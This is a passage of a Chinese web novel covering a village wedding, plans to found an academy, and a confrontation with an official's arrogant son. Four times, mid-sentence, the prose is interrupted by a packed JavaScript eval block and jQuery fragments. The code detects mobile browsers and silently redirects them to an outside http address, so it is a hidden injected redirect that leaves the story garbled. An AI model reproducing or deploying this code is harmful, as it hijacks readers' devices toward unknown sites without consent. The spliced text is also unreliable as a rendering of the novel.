“我当今日怎么回事，原来还是为了陆桓那小子，任公也是多虑了，我等想要挽留，却也留不住他啊。”元勰负手站到了堂中，接着朗声大笑，众人见他这反应，又想到任连忠这般疑神疑鬼、患得患失，亦是摇头轻笑，只不比元勰那般直接又可恶罢了。 但他们同样觉着可气，所谓抱负、所谓名利都栓不住那人了。 那人在哪呢？现下他吹着四月的风，不再困于心、衡于虑，是自由的。 太平初定，傅震携妻眷回到了朝州府，于是乔家村里当初他们所盖的房子就空了出来，陆桓便住在这里。回来的这段日子，他请人四处修缮扩充，如今这屋舍已大了倍余，而原先与乔小遇家相连的那块土豆地，中间铺了石砖过去，与乔家后院相连。至于余的地，倒也挖刨了出来，种些瓜果蔬菜之类的。 那再之后，便应当准备婚礼了。秦晋新婚，谈不上珠帘绣幕，说来两家便只隔着这么段脚程呢，乔小遇父母便合计说让轿子围这村里多转个几圈，乃至于当日鞭炸闹结束后的红纸屑铺得满地都是，村里的小孩就乐这个了，欢欢喜喜地跟在送亲的队伍后头收集那些余得半截的炮仗，所以在婚礼结束后的几日里，村头村尾总偶尔响起几道爆声和小童的嬉笑声……这也是乔小遇对婚礼比较有印象的地方。 再说回当日。乔冉安夫妻俩本以为女儿是一路上敲锣打鼓进那陆氏高门，此后良缘相结，匹配同称，可后来陆桓脱离宗族，他们就歇了这心思。只陆桓从前线归来后，这新户竟也没立在城里，倒回来与他们二老做邻居了……便只能安慰自己说，这老来有所依靠了，一个女婿当半个儿子，家里有事陆桓有岂能置之不理？ 傅娘子看着乔冉安一脸发愁的样子，没好气地将他那水烟筒给扯了过来，说：“他们都要成亲了，你如今觉着不如预期又能怎样？如果不是她陆桓势微，这婚事也轮不着你闺女头上。” “我哪里是愁这个……”乔冉安不满地抽了抽嘴，往屋内两个女儿的方向看了眼后，方才压低了嗓音道：“你说陆桓此番回来，会不会是在军中犯了什么事儿啊？若他立了功，怎么会两手空空地回来了？乔大闯家那儿子你还有印象吧，听说在南境平叛中立了功，封了个荣威将军来着，过段时间封赏也就到了，丁娘子也是苦尽甘来，估摸着是要和她儿子一道去城里享富贵日子了……” 傅娘子见乔冉安一脸羡慕的样子，狠狠地瞪了眼道：“你这什么意思，嫌着我没给你乔家生个儿子？我倒苦命，这生来与你家当牛做马，末了还要得你嫌恶我！我这可造的什么孽？” “我几时有那个意思了？你怎么这般胡搅蛮缠！”乔冉安摊手怅然，接着道：“若生个儿子是个不孝顺的，那还不如养的女儿在身旁，老来也有照应。”傅娘子点头，“就是这么个理了呀，我如今就想着小知那边，若能重新觅个良人，回到乔家村，那我们后半辈子也是不用愁些什么了。” “你怎么还念着小知？”乔冉安不知她怎么好端端地又提起大女儿，连忙斥道：“你若真为了她好，就不要去的叨扰她。她如今守着些家财，没有丈夫欺压，若他日想寻人入赘也是她家宅里的事。这两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924434|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹若是相见，只怕一个巴着讨嫌，一个左右为难却是生厌，何况你想想陆桓的性子，小知再来晃眼，这新仇旧恨一起算，当初何家什么下场你竟然也忘了？” “你也知道她不是她了，那样的心肠能与我们俩养老已是不错。”乔冉安瞧着傅娘子神情恍惚的模样，抢过烟筒吧了两嘴后，觉得口中更是酸涩无穷，他想着若是日后乔小遇和陆桓要离开，他们夫妻俩也没有拦人的道理了。外人不知情，就算两句唾沫口水喷下来，他那换了魂的女儿也根本不在乎。 乔冉安没有想到，直到他死去的那天，乔小遇依旧守在他膝前与他送终，并未失诺……当然，这都是后来的事了。 说回这场婚礼，与乔小遇那特定又抽象的记忆相比，陆桓却觉得从头至尾他的状态都比较紧绷。陆苑似乎已经彻底遗忘了这样一个人，所以大婚之日陆桓这边到场的都是他的袍泽故旧，除了高扬，乔小遇几乎都不认识，可他们都那样热切地唤她、与她道喜…… 而当日主婚的，是庄先生。这位已至耄耋的大儒名士，当日由小徒高扬侍奉着缓步落座，看着这双璧人不禁轻轻颔首。他知道如今陆桓已无父母亲族，世间除却天地可敬，私心里份量最重、最觉亏欠的人便是自己了…… 看着新婚夫妻朝自己屈膝一拜，庄先生笑道：“这才是郎才女貌，天作之合，好得很！好得很！”若是从前，他们不可能走到一起，只有当天上的星星坠落，山中的河水才会熠熠生光。 陆彰之子没有走科举虽有遗憾，可世人念的是陆桓对父亲应当心生愧疚；名儒之徒没有步朝堂虽有惋惜，可世人还是念的还是自己这把老骨头看人走眼！陆桓想走什么路，是由他自己决定的，因为星星就算不缀在夜空中，也无人能够掩其光芒！ “送入洞房！”一片喧闹声中，有市井小儿的热情嘻闹，有军中武将的豪饮狂喜，有拖罗河水的欢快流淌，有绮丽烟火天女散花般迸射爆炸……村里许多人都没有见过这场景，一个个都眨巴了眼，兴奋难抑！无疑，这是一场很特别的婚礼，一次很特别的结合。 陆桓被同僚们灌了许多酒，这边高扬原本是打算看好戏的，可想到好友一开始的叮嘱，还是去帮他挡了挡，将那满身酒气的新郎官给扶回了院中。有意思的是，等他将闹洞房的村民撒了喜钱让人离开后，这新郎官眼底哪还有半分醉意？ 高扬好笑地撇了撇嘴，道说：“你这装得我都信了，真是狡猾的狐狸！也罢了，我继续去院外头喝他个春秋痛快，哪里只能教你陆桓得偿所愿呢，不然也太不公了！”言罢，脚下踏着夜晚微凉的露水，已然悠哉离去。 而乔小遇等听得推门声，原已有些瞌睡的脑子却是瞬间清醒，感受到那绣满鸳鸯的被子一头向下陷去，她轻颤的双手才泄露出些许的紧张。 106. 兴办书院 依旧紧张，但还是要进入正题……待第二日天光微亮时，乔小遇迷糊着睁开眼，才忽然觉着什么东西发生了改变，难以言说，就好像散飞在空气中的蒲公英种子扎根到了湿润的泥地上，从此呼吸和生长便都是自己的事情了。 没有高门，没有那些劳什子规矩，似乎被山峦圈起来的这方“井”也有自己的天地。乔小遇想着起身，可胳膊一伸到被子外头，还是被凉了收回，接着就是几个喷嚏，忍也没忍住，这倒是把陆桓给吵醒了。 “你醒了？”陆桓侧躺过来，顺手将被子紧拉上一截，将乔小遇捂了个严实，只剩下脑袋在外头。 “嗯。咱们要不要起了？”乔小遇这一张口，才发现自己的嗓音居然变得那么沙哑，一时间羞涩无措，正好陆桓睁开了眼……她迎上那道炽热坚定，又藏了几分揶揄得意的目光，连忙慌乱地将头往被子里缩去！ 陆桓失笑，逗弄她道：“你知道如果人把头藏在被子里，会吃到什么吗？” 乔小遇担心这人说起类似昨夜里的那些不正经的话，咬唇不应，没想到陆桓笑得更大声了，道：“会吃到捂在被窝里的屁！” 这个笑话好笑吗？乔小遇无语了，一脚朝陆桓踢去，往外一扭，故意将被子抢去大半！ 陆桓连忙拉紧被子一角，假意求饶道：“小遇你别气了，我要被冻着了。”见乔小遇像只鹌鹑般还捂在被子里，陆桓只得伸手捞人，笑道：“你不会真躲在被子里吃自己放的屁吧？” 可他没想到，乔小遇又气着锤着他几拳，挣扎着挡他捞人的手，却让他碰到了一些柔软的地方，昨夜里那些妙不可言的滋味再次浮上心头。两人没忍住又折腾了一会儿，直到早饭将临，他们需要一起去送别那些昔日的同僚故交…… 阳光穿过山林野径，洒下一地的金色光斑，也勾勒出炊烟和薄雾缓缓弥漫的轻影，偶尔传来的牛哞声、犬吠声、小儿欢笑声，与渐行渐轻的马蹄声混在一起。 同僚们驱马离开浅滩，却又忍不住回望这宁静的小村庄……他们知道了木机的来处，如今也知道了木机的去处，回去也可以如实禀告了。 高扬看着那群人已经离去，本以为陆桓需要自己开解几句，却没想回头一看，那人早已和老师坐一块下棋去了。村里有些老头也看得懂象棋，没多会便互相招呼着围了个圈，这画面倒真的是很有意思。 农家请客吃酒足足有三天，最后一天都是家里走得比较近的亲戚来吃酒，帮工的倒是离开了，庄老先生看着陆桓招待村民的模样，没有半点高冷，那身布衣在人群里并不晃眼，晃眼的还是他的个头…… 这么想着，庄老先生觉着自己多半可以放下心来了——如今的陆桓，无论身处何地，也能将自己、将周围人照看得很好，这似乎才是真正的归隐，沾着人间烟火气的归隐。 听说此处要建德政碑，老先生倒是来了兴致，让陆桓高扬他们领这他上山去瞧瞧风水。这一看，却是发现村庄后山侧面那段山坡是处宝地，再往前行进二里地，就是村民们之前开垦出的药园。 “以后那德政碑就立此处！”庄老先生笑指着松下一处，接着两手并扶在上山途中捡的干枝上，瞭望远处，感慨道：“这湾子会越来越好的。有了德政碑，地方父母官少不得时常来此处登高，所谓文教昌兴，此间还差一所书院啊……” “那老师的意思是，您打算出走白麓书院？”高扬眼神迅速从陆桓面上略过，见他也存了诧异，心知老师做的决定有多么突然。 “但是，这地方……”高扬撇嘴，他真的想说荒凉落后了，对比宗族林立、文教兴盛之处，他实在没有看出有什么好，如果要建书院，那就意味着要从头开始，唯一的好处，就是方便自己求学了。 这边陆桓虽然感觉意外，却很支持老师的决定。有了人群瓦舍，乔家村才会破开这山的缺口，逐渐兴盛起来。远远地，陆桓仿佛见到交通纵横、人来人往的景象了。 乔小遇听闻此事后，手中梳头的动作不由得一顿，展颜温婉道：“老师不仅有着利民惠生的大局，也是为了全你的私心。他老人家看出来，我们是不愿出走了，你双亲故去，如今亲近些的长辈便只有他一人，老师又膝下无子，日后我们俩可得尽心供养。” “那是自然。”陆桓轻轻揽住妻子的胳膊，微笑着将下巴靠在妻子的头上，只觉静谧安然。待到明年人间四月芳菲尽，他一定会设法将书院建成。 除了办书院，乔家村仅将陆路连通朝州府恐怕不够，最好将拖罗河与广济渠勾连，直接打通向东售卖药材的渠道。但战事方歇，百姓适合休养生息，若再加上繁重的徭役，那么村民们好不容易积攒的物帛又会被挥霍一空——他们，急不得。 没过几日，乔小遇便与陆桓去了一趟州府，将秋天时所收获的皮毛、药材都一并售卖，连同成婚时收到的礼钱一起去买了新的荒地，对了，还有建书院所在的那片山林。不过买山林的钱，庄老先生占了大部分，高扬也出了些，想起高扬当时还得意地说：“我知道你如今手上没什么钱，世家公子也没做成，急流勇退的功臣也没做成，可别跟我摆谱了……” 陆桓心道自己还有些庄子，但事缓而行，明年开垦荒地、雇工建书院还需要好大一笔银钱，加上书院得由老师主导，他不宜插手过多，便跟着笑眯眯地应承下来。 这厢小夫妻正在茶棚里吃茶，等歇上一会再打算上路，倒听旁桌的赶脚人提及官家南下巡察的事来。“龙舟巡察，这番可不知要苦了多少人？”众人一顿咋舌，但没有将话题展开。 乔小遇见陆桓没多大反应，蹙眉低声道：“若是劳民伤财，朝臣没有加以反对吗？”陆桓就着茶水将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924435|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口中最后一块饵饼咽了，才低声道：“官家虽由太后教养，但已逝的亲母是闵人，如今官家身体没有从前那般康健了，便时常念起旧来，不管朝臣怎么劝阻，他都会走这一遭的。” “谁犯得着去触怒龙颜呢？再者，南下巡察还可以借一个疏通航道、察看民生的由头，若这些名目能够落到实处，那总是有利的，至于弊端，史书寥寥几笔，只要不至于朝纲倾覆，便不算什么事。” 这就是太子一党对此事不置一词的原因。还有一点，天子南巡，太子就会监国，他们可满心期望着太子能在监国之后做出些耀眼的政绩来，殊不知太子如今战战兢兢、如履薄冰。 陆桓自觉已经远离这些纷争，就不愿再多言，只不知为何，才让小妻子眉心舒展，他的心头却泛起些许不安来……太平昌盛，内乱是暂时不会起了，但愿一切顺遂。陆桓随即又抿了一口茶，将心头的杂念消压而尽。 冬来覆雪，乔小遇张罗着在山林边开了一家食铺子，空地足够大，免了天气干燥易发山火的危险。这食铺子本来是为了来村里买走地鸡、莲藕、苦荞、药材的货商方便，卖些能充饥解渴的干饼茶果一类，谁知湾子里种的莲藕名声越来越大，村里人便将浅滩的荷塘、稻田连接起来，成了一处休憩的好地界，游人三五成群竟慢慢多了起来，乔小遇便不得不扩充了房舍，铺子也可以住店了。 游人里不乏富贵之家，村里人热心招待的吃食他们竟然看不上，乔小遇有次见着游人面露鄙夷之色，没忍住上前将那位王姑娘扔掉的粗饼重现捡将起来，轻轻吹过灰，撕下两块与旁边直流口水的小孩，另一块则自己放在口中咀嚼起来。 与那位王姑娘同行的几位郎君小姐不禁讥笑出声，道：“竟连我们丢在地上的东西也拿来吃，这与路边的野狗有何不同？都是群没见识的暴徒乞民，住在这山清水秀的地方你们倒也配？平白污了小爷！” 乔小遇冷了神色，往前走了几步，定定瞧着这“小爷”说道：“原来各位郎君也是见过暴徒乞民的？应该是几年前疫情蔓延那会儿吧。饥民遍野时，听说有的地方树皮都被扒了不剩，王孙贵族之家，奴仆偷盗外潜的也是常事，而有的暴徒甚至会烧了高宅泄愤，不少卿家小姐也被辱没……这才没几年呢，难道诸位已经忘记自己像恶狗扑食般的过往了吗，如今连这粗饼也看不上了？” “什么恶狗扑食？小爷我就没受过那罪！”那人气愤地跳起脚来，可随行的姐姐连忙来扯了自己衣袖，劝道：“三弟，你不要再咄咄逼人了……” 乔小遇无语道：“如果没有受过那罪，那郎君今日所行之事就是没有同理之心。粮饼是村里人热心肠赠与你们的，不曾要钱，你们便这般丢掷在地，那便是没有公德之心。这般一个没有同理之心、公德之心的伪君子停留此间，才真是污了这山清水秀之地！” 107. 教训深刻 “你敢说我是伪君子？你们这群刁民，知道我是谁吗？家父乃是吴学政，举子官身见了都要礼重的！小爷丢的粗饼你舍不得，若是一团狗屎你也捡？”那郎君移开他姐姐的手肘，提了马鞭指着乔小遇道。 旁边有人戏笑道：“咱们村里人见识少，倒是没想到丢狗屎的狗也有长得俊的，看起来人模人样。”众人笑作一团。一番好心遇到这么个二世祖，说出他父亲他祖宗抵什么用呢？倒是那德政碑得快些立下来，日后便能少遇着些鱼肉乡里的混账了。 那女郎连忙说道：“今日之事是我三弟莽撞了，请各位乡亲见谅，我立马将他带回去。”言毕，这吴家小姐示意奴婢去马车上拿些银钱了事。 “郎君应当清楚一点，眼前你所见的山水，既是天恩所赐，也是村里人靠着一双手勤劳掘所得。你心中鄙夷的村民，在战时争先伐木造船，一心为平战乱，哪里容许你在此大放厥词！”乔小遇叹息着摇头，心道有这样的后代子孙，若那吴学政不严加管束，这官位想来也长久不了了。 送人粗饼的乔老汉拒绝了奴婢拿来的钱袋子，说道：“旁的我也不懂，但若这饼子你们觉得不好，那还回来便是，遇着荒年这都是救命的，何苦糟践了人一番心意。” “一群刁民，也不看看你那粗饼是能咽得下去的么？今儿我就让你们这山清水秀地变成一堆烂泥巴！什么天恩所赐？简直穷乡僻壤之地！”见这人口出狂言，跟着就指使家仆下水将稻田的垒土扒掉，众人也急了，“我看谁敢动手，谁要动手今天就把他沉了塘喂鱼！” 村民们虽然没什么见识，但他们的胆子从来就不小，试想几年前从拖罗河中冲下的那些尸体……这谁没见过点世面呢？村民们立马去招呼了左邻右舍，不多时竟已提了锄头镰刀出门，朝这边蜂拥而来。 乔小遇下手最快，与她相近的一个家仆刚下水便被她用扫帚戳过去，栽在泥塘里一时半刻都没爬起来。众人很是惊讶，平日只知道乔冉安闺女有主意，却没想到她还有这样凶悍的一面。 “快去将陆郎君请来！”不知为何，村民们都觉得无论今日捅了多大的篓子，陆桓都是有法子兜底的。村里的生意往来，如今都是由陆桓牵的头，时间追溯到多年前的杀匪抛尸，也是陆桓做的决定。村里人与民、与匪都打过交道，与官却是很少。 陆桓赶到时，见乔小遇卷了裤腿站在岸上，拿着竹子扫帚拍打泥水，就是不让对方那跳塘扒土的家仆上来，他面色不由得有些复杂，却又觉得十分好笑。听过来龙去脉，陆桓将乔小遇拉到身旁，止住了两方相斗之事。 吴娘子见来人风姿卓越，看出他是个有见识的，只不知与他护着那位是一对兄妹还是夫妻？但今日之事无论如何，三弟都不占理，吴娘子连忙再次赔礼道歉。 “姐姐，你这是做什么？大不了以后咱们不来了，何苦与人道歉遭那奚落？人家穷要饭的还看不起你这赔的东西呢！”吴三郎见对方人多势重，虽有心报复，可当下不是什么好时机，只好与他姐姐道：“你看我这衣裳溅了一身泥，都拜这群刁民所赐，我还没让人赔礼道歉呢？” 吴娘子心想弟弟应当是在皇都混惯了，纨绔子弟习性难改，可如今父亲身居要职，怎么能在外多次惹事呢，是觉得御史很闲么？当下斥责道：“家中父母不在，你出来便应当听我的，否则给父亲惹了麻烦也不自知。” “呵！咱们走着瞧，今日的事小爷可不会善罢甘休！”吴三郎愤怒地将马鞭甩在岸边上，溅起泥水无数，也将几张荷叶圆瓣给撕裂了去！众人以为是吴娘子的劝说起了作用，这混祖宗不过寻个台阶下还要放狠话而已，可深知三弟脾性的吴娘子知道并非如此。 当下还是赶紧将人拉离此处，待归家与母亲请示后，让家仆封堵院门不要让三弟出来为非作歹的好。吴娘子这般想着，一边轻言细语地试图安抚下弟弟的的情绪，遣小厮将马儿牵过来与弟弟骑，一边忍不住回头朝陆桓的方向投落探究与欣赏的目光。 陆桓也瞧出了端倪，原想着水来土掩，今日就放二世祖一回的他，却在看见妻子布兜里放着的那小半块饼后，神色阴翳。 “饼子好吃吗？”陆桓指了指乔小遇的布兜，这让情绪原还愤慨着的乔小遇转过了思路，她羞涩地点头肯定道：“好吃的。这些人没有吃过苦，所以他们不懂得珍惜别人的心意。我刚才忙着制人，顺手揣兜里了，你要吃吗？”她的语气里有着一种无奈。 陆桓叹息着，手掌停在乔小遇的头发上，将之前溅在头上的泥水擦了擦，道：“回去洗个头，换身衣裳，我给你烧水。” “原来是对小夫妻啊……”吴娘子看着两人亲昵的模样，落寞地收回视线，却又觉得今日这趟游程似乎也不算白来。 但没想到身后紧接着传来一道冷冽的话音：“吴家三郎和吴娘子，虽已为丢掷粗饼道歉，却始终没有为别人的心意道谢呢，这饼二位还是收下吧。” “住口！你竟然让小爷吃别人剩下的东西？”吴三郎刚要上马，见陆桓手中拿着那剩下的半张饼不急不缓地朝自己走过来，心头恼怒又厌恶，一挥手就将马鞭朝陆桓的方向扬了过去！ 在众人的惊讶目光中，陆桓竟将马鞭稳稳地捏在手中，随着他回撤的劲，那吴三郎直接从马背上拉了摔下来。吴娘子见状，奔忙着过去将弟弟扶将起来，求情道：“不是已经道过歉了吗？为什么郎君如此不依不挠？” 陆桓斜睨了眼这吴娘子，话音冷道：“不依不挠的是你弟弟。吴娘子很清楚罢，你弟弟在皇都时便因豢养帮闲，被太后罚了紧闭，没想到三年之期未到，你弟弟竟然来了朝州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924436|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的山野之地继续放肆，你说若这些事若传到御史台会怎么样？是觉得离了皇都，就不是天子之地了么？” 一个乡野之人怎么会对朝廷的事这么了解，何况三弟犯的事都是三年前的了！吴娘子眸中尽是不堪，没想到这等小事竟会闹到此般田地上。 尤其同行的几个贵家郎君小姐，因家势不如吴家光耀，路上一直捧着吴家姐弟，却没想到吴三郎是个行事狂躁的，早在双方打算动手之前他们早已选择作壁上观，没想到扯出这么件荒唐事来。这往后，恐怕与吴家也是不敢走得太近了。 吴娘子没有办法辩解，便是那十来个呼吸间，她都已经做好了接过粗饼道谢的准备，可这件事与她有什么相关？祸事都是三弟惹出来的！父亲将他送回来老家做什么啊，说什么改过自新？不如继续在皇都溜须拍马算了！ 吴娘子虽然心有气愤，但她能忍耐父母的偏执，也能忍耐膏梁子弟的不堪行径，所以她慢慢起身，打算与乔老汉道谢，并接受那粗饼——如此，才算事了，才算门正庭清，才不会被外人看低。 可她那行事荒唐的三弟啊，如何能感受到自己的挣扎与权衡，竟直接一把将她拉了回来，一边破口大骂，一边唆使家仆上前动手！家仆中一些唯诺不动，一些个却是与吴三郎在烟花围栏里混惯了的，当下直接朝着陆桓冲去，打算将人先打一顿与吴三郎消了火再说，反正最后不过赔些银钱了事！ 果然是个受不了激的纨绔子弟，陆桓摇头淡淡道：“既然想动手，那就给你个教训吧。全都下水罢，也不必让人上岸了。” 乔小遇方才还纳闷这争斗说歇就歇，眨眼间却又起了，但见陆桓使了村民将家仆推下泥潭不得上岸，还带头使荒锄将一个即将爬上泥塘的家仆的腿给打断后，心中无比惊讶：他给人送的教训未免也太深刻了…… “啊……哎呀……”惨叫声此起彼伏，见已经有人被打瘸了腿，那些家仆再也不敢往岸边游去，只攒聚在池塘中央，向外防备着，目中满是惊恐。他们没有想到，这偏僻处的村里人看上去热情好客，斗恶起来却是这般凶虐！ 吴三郎见着情势不对，扬眉跳脚道：“一群饭桶！”这让吴三娘气急，当下哪里还给三弟什么薄面，直让家仆捂嘴拖着往马车里塞进去了！她知道今日的事不会善了，对方在知道吴家的背景后，仍然选择得罪，绝不是什么头脑发热之举，就算告到官府，也是三弟先动手的。 “郎君还请住手吧！今日之事，都是我吴家管教不严，家风不正，才导致子弟寻衅滋事。说来惭愧，我父亲如今任两广学政，不忙得料理家事，此事回去我定向母亲请示，明日遣人来致歉。”吴娘子一边说着，一边猜测着这人是不是今年准备秋闱的学子，若是如此，对方兴许会有让步，也不管他是有所图谋、还是要挟了！ 108. 碑立舍建 可哪里说得上图谋，对陆桓而言，这仅仅是威慑罢了。眼瞧着这群人狼狈逃离，有村民担心人会不会挟私报复，想询问陆桓却又嗫嚅着不好意思开口，但陆桓夫妻俩很明确地告诉大家不必多想，让他们各自回家去便好。 只要有心去查，陆桓出自陆苑不会有人不知道，可关于那段当谋士的过往却难以找到蛛丝马迹，一旦吴家去查，朝中有人觉察到风吹草动便会很快将线索掐断——这明摆着告诉你：不能再查了。 村里确实安静了好一段时间，直到某日吴娘子与她的哥哥再次来到这湾子里头。 村头玩耍的孩童早已看到他们，迅速丢了泥团便跑回家了，也有人来到乔小遇家里报信的，指着村头大声道：“姨，上次在村里惹事的二世祖的漂亮姐姐又来村里啦。” 乔小遇这会正在张罗着那些帮忙扩建屋舍的村民的吃食，听着小童话音里的急促，问道：“有车轿同行吗？” “有的有的！还有很高的大马！”听完小童的回话，乔小遇心里也是安定下来。小孩话里没有提及有什么气势汹汹的奴仆，既然随行的有车轿那便应当是行路迟缓，对方是在做了充分的考量之后才选择来到湾子里的。 她从厨房里钻出来，顺手递了两个烧麦给小童，笑声说着：“没事的，你们顾自去玩罢。” 小童蹦跳着离开了。乔小遇眼底笑意未散，只稍扬了扬嗓子，朝着后院道：“你去山上送吃食罢。”她知道陆桓在后院摆弄药材呢，送午食与帮工之后，陆桓会继续在那边帮忙，直到傍晚才归家。 陆桓应了一声，便直接去套车了。他的动作迅速流畅，乔小遇很奇怪那样一段麻花状的缰绳在他手中竟如同骑兵扬起马、渔夫撒下渔网一般和谐，仿佛这种东西能无师自通一般，这让原本担心陆桓无法适应农家生活的她不禁摇了摇头。眼前的陆桓，真切地存在于她的故事之中…… “有什么不对吗？”陆桓打了桶水与牛饮着，目光稍抬便见乔小遇还手背靠着身后木柱含笑看她，有些诧异地道：“你一直看着我做什么？” “看你好看啊！”乔小遇说完，有些不好意思地将头侧偏了下，但很快又抿着唇正视过来，见陆桓还在好笑地看着自己，双双将眼睛笑得眯成了月牙。 “你不会成亲这么久了，还没有习惯这种快乐吧？”陆桓挑眉笑道。他斜靠在车边，话说得一本正经，可乔小遇如今与他浑多了总容易想歪，现下想着怎么也不能被他抓到现行，连忙偏转过目光看向墙外，说道：“吴娘子怎么先往咱家里来呢？” 陆桓收起笑意，侧身朝墙外看去。怎么说，这是已经去过乔老汉家道歉了？ 吴娘子与她哥哥吴竞生由婢女扶着下了车，另一边的家仆已去扣了门，在已经看见彼此的情况下，乔小遇和陆桓竟都没有去主动开门。这让吴娘子有些尴尬，一旁的吴竞生见状连忙拱手行礼道：“想必这位就是陆郎君吧，久闻阁下高义，先前舍弟行事不周冲撞诸位，竞生不才冒昧打扰，还望海涵。”吴娘子也随之在身后一礼。 陆桓皱眉拍了拍牛背，与黄牛轻喃了句：“多喝点。”终于行步去开了门。他打量了下吴竞生，见其执事有恪，点头道：“进来罢……”见吴竞生与吴娘子示意家仆抬着礼箱进门，陆桓冷了声，止道：“这些就不必了。” “那就放这罢。”吴竞生恍然一瞬，止了家仆动作，便携妹妹和两个亲近的仆婢进了门，其余人在外等候。 “是在下唐突了。”吴竞生心想陆桓既出身陆苑，也许看不上这些阿堵之物，可没想到陆桓下一句却打破了他的幻想！ “不至于，没有人不喜欢金银财物。”陆桓看向吴竞生，接着道：“你应当知道庄先生打算在此间修建书院的消息了罢。” 吴竞生点头会意，道：“知道的，有庄老先生出任山长，想必名流之士汇聚于此，自是钟灵毓秀、人杰地灵。”所以，他想着陆桓作为买下书院建地的捐赀人，手头应该是需要这笔银钱的。这人似乎对他们的到来毫不意外，而开门见山就提起此事，会不会狮子大开口呢？如此性情，竟还拜在庄先生门下，这什么道理？无形中，吴竞生心里已对陆桓看低了几分。 陆桓才懒得探究吴家兄妹心里的想法，只道：“既然如此，作为歉礼，吴家需要应允我两个要求，这事我就不让它掀到明面上去。其一，建书院的赀财就不必捐了，老师不喜欢不相干的的人牵扯进来，但你吴家闱墨经义策论应当收集了不少，如此倒是与书院送上一些，多多益善；其二，尊公他日致仕还乡，可否请他到书院讲学，为学子们答疑解惑？” “这……”吴竞生讶异万分，没想到陆桓提的是这样的要求。短短几句，他由一开始的受挟厌烦，转到对陆桓的傲慢清高态度的轻鄙，再到对这高而徐引的郎君所谓笃行致远的要求的钦佩，吴竞生的脸色好生变幻。 到底是书香之家规行矩步教导出来的儿郎，吴竞生朗润一笑，道：“此类事宜应由家中父母商议决定，竞生不敢代为应之。但父亲一生兢兢以图，倾向全力于庠序之间，这样的要求他想都不想就会答应。” 陆桓颔首：“那就等你好消息了。” 一旁的吴娘子亦暖声道：“先前是舍弟顽劣唐突了村里人，归家后已被母亲责罚，还请郎君不要与他计较。” 吴竞生心里已然存了几分想要与陆桓结交的意思，笑着应道：“那改日得了父亲应允，竞生再来拜会郎君罢。” “拜会就不必了，你修书一封即可。毕竟，你们与这地方水土不服。”陆桓回身将饮牛的木桶拉到一旁，见两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924437|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄妹怔愣着，解释道：“我要上山去帮忙了，你们要一起？” 这……这是撵人走了吧。吴家兄妹互相对视一眼，均从中看到了无奈。原来就算对方已潦倒至此，也不愿和吴家有旁的往来了。吴竞生只当各人性情不同，强人所难也不是他的教养所为，至于吴娘子，神情则由黯然转为释怀——她从心里感激陆桓这不近人情的拒绝，不必给懵懂思春的偶遇添补上多美好的辞藻描述。 望时光暖煦，再次与陆桓夫妻相逢时，她明媚的嗓音里只有久别的欣喜，再无少女情思生长时的羞怯与嫉妒。 …… 吴家上门致歉的消息终究被传扬开来，不久之后，通平县县令亲临拖罗河湾头，敲定德政碑立碑之事。县上原本寻了个风水师傅，但在得知庄老先生已经给看过之后，通平县县令喜不自胜，心想一代名儒亲自堪舆，这个事到时候也应当补刻在碑文之上呢！ 抛开私心喜乐，通平县令实在不知该如何感谢乔家村的村民为好，有道是难时雪中送炭，和时锦上添花！想当初自己领了官凭文书后，来到这乡绅林立、民生穷苦却又民风彪悍之地，那是叫苦不迭，如今倒也可以准备升迁了。 听说庄老先生还准备建书院广收弟子讲学，这等好事怎能落到别人头上呢？所以在奏绩时，这位县令也是精心润笔，就为着能谋个朝州知州的官位，再待三年，政通人和之景初现，兴许就可以去当个六部主事了……这样的愿景，也是会实现的吧。 总而言之，现在的乔家村对通平县令而言，就似那博石行当，而且切开之后这石头一定流光溢彩！ 春来百草竞发，等到立碑的庆典仪式当日，通平县的官员均盛装出席，祭天地，颂神明，昭官家明德。方圆数百里都有人赶车过来，就为着凑这个热闹，这也是乔家村的村民长脸的好机会。 